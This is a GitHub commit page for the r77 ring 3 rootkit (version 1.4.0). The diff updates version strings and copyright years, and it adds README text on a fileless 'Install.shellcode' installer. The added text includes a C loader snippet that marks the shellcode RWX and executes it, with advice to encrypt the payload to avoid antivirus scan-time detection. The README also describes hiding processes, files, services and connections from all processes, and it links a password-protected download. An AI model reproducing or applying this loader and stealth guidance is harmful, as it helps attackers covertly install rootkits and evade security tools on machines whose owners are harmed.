Skip to content

Commit 0b3157c

Browse files
author
bytecode77
committedSep 1, 2022
1.4.0
1 parent 42af739 commit 0b3157c

File tree

4 files changed

+30
-10
lines changed

4 files changed

+30
-10
lines changed
 

‎LICENSE.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Copyright (c) 2021, bytecode77
1+
Copyright (c) 2022, bytecode77
22
All rights reserved.
33

44
Redistribution and use in source and binary forms, with or without

‎README.md

+25-5
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,6 @@ r77 is a ring 3 Rootkit that hides following entities from all processes:
1111
- Services
1212
- TCP & UDP connections
1313

14-
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
15-
1614
## Hiding by prefix
1715

1816
All entities where the name starts with `"$77"` are hidden.
@@ -25,16 +23,38 @@ The dynamic configuration system allows to hide processes by **PID** and by **na
2523

2624
![](https://bytecode77.com/images/pages/r77-rootkit/config.png)
2725

28-
The configuration is stored in `HKEY_LOCAL_MACHINE\SOFTWARE\$77config` and is writable by any process without elevated privileges. The DACL of this key is set to grant full access to any user.
26+
The configuration is located in `HKEY_LOCAL_MACHINE\SOFTWARE\$77config` and is writable by any process without elevated privileges. The DACL of this key is set to grant full access to any user.
2927

3028
The `$77config` key is hidden when RegEdit is injected with the rootkit.
3129

3230
## Installer
3331

34-
r77 is deployable using a single file `"Install.exe"`. It installs the r77 service that starts before the first user is logged on. This background process injects all currently running processes, as well as processes that spawn later. Two processes are needed to inject both 32-bit and 64-bit processes. Both processes are hidden by ID using the configuration system.
32+
r77 is deployable using a single file `"Install.exe"`. The installer persists r77 and injects all currently running processes.
3533

3634
`Uninstall.exe` removes r77 from the system and gracefully detaches the rootkit from all processes.
3735

36+
`Install.shellcode` is the shellcode equivalent of the installer. This way, the installer can be integrated without dropping `Install.exe`. It can simply be loaded into memory, casted to a function pointer, and executed:
37+
38+
```
39+
int main()
40+
{
41+
// 1. Load Install.shellcode from resources or from a BYTE[]
42+
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
43+
LPBYTE shellCode = ...
44+
45+
// 2. Make the shellcode RWX.
46+
DWORD oldProtect;
47+
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
48+
49+
// 3. Cast the buffer to a function pointer and execute it.
50+
((void(*)())shellCode)();
51+
52+
// This is the fileless equivalent to executing Install.exe.
53+
54+
return 0;
55+
}
56+
```
57+
3858
## Child process hooking
3959

4060
When a process creates a child process, the new process is injected before it can run any of its own instructions. The function `NtResumeThread` is always called when a new process is created. Therefore, it's a suitable target to hook. Because a 32-bit process can spawn a 64-bit child process and vice versa, the r77 service provides a named pipe to handle child process injection requests.
@@ -103,7 +123,7 @@ Please read the [technical documentation](https://docs.bytecode77.com/r77-rootki
103123

104124
## Downloads
105125

106-
[![](https://bytecode77.com/public/fileicons/zip.png) r77 Rootkit 1.3.0.zip](https://downloads.bytecode77.com/r77Rootkit%201.3.0.zip)
126+
[![](https://bytecode77.com/public/fileicons/zip.png) r77 Rootkit 1.4.0.zip](https://downloads.bytecode77.com/r77Rootkit%201.4.0.zip)
107127
(**ZIP Password:** bytecode77)<br />
108128
[![](https://bytecode77.com/public/fileicons/pdf.png) Technical Documentation](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf)
109129

‎src/GlobalAssemblyInfo.cs

+3-3
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
using System.Reflection;
22

3-
[assembly: AssemblyVersion("1.3.0")]
4-
[assembly: AssemblyFileVersion("1.3.0")]
5-
[assembly: AssemblyCopyright("© bytecode77, 2021.")]
3+
[assembly: AssemblyVersion("1.4.0")]
4+
[assembly: AssemblyFileVersion("1.4.0")]
5+
[assembly: AssemblyCopyright("© bytecode77, 2022.")]
66

77
namespace Global
88
{

‎vs/TestConsole/Views/AboutPopup.xaml

+1-1
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@
3232
<StackPanel>
3333
<Image Source="/TestConsole;component/Resources/AboutTitle.png" Stretch="UniformToFill" Width="320" HorizontalAlignment="Center" Margin="0,0,0,20" />
3434
<Image Source="/TestConsole;component/Resources/AboutBanner.png" Stretch="None" HorizontalAlignment="Center" Margin="0,0,0,35" />
35-
<TextBlock Text="© bytecode77, 2021." HorizontalAlignment="Center" Margin="0,0,0,35" />
35+
<TextBlock Text="© bytecode77, 2022." HorizontalAlignment="Center" Margin="0,0,0,35" />
3636
<Border BorderThickness="0,1,0,0" BorderBrush="#20ffffff" Margin="0,0,0,30" />
3737
<DockPanel Margin="0,0,0,10">
3838
<Image Source="/TestConsole;component/Resources/AboutWebsite16.png" Stretch="None" Margin="0,0,5,0" />

0 commit comments

Comments
 (0)
Please sign in to comment.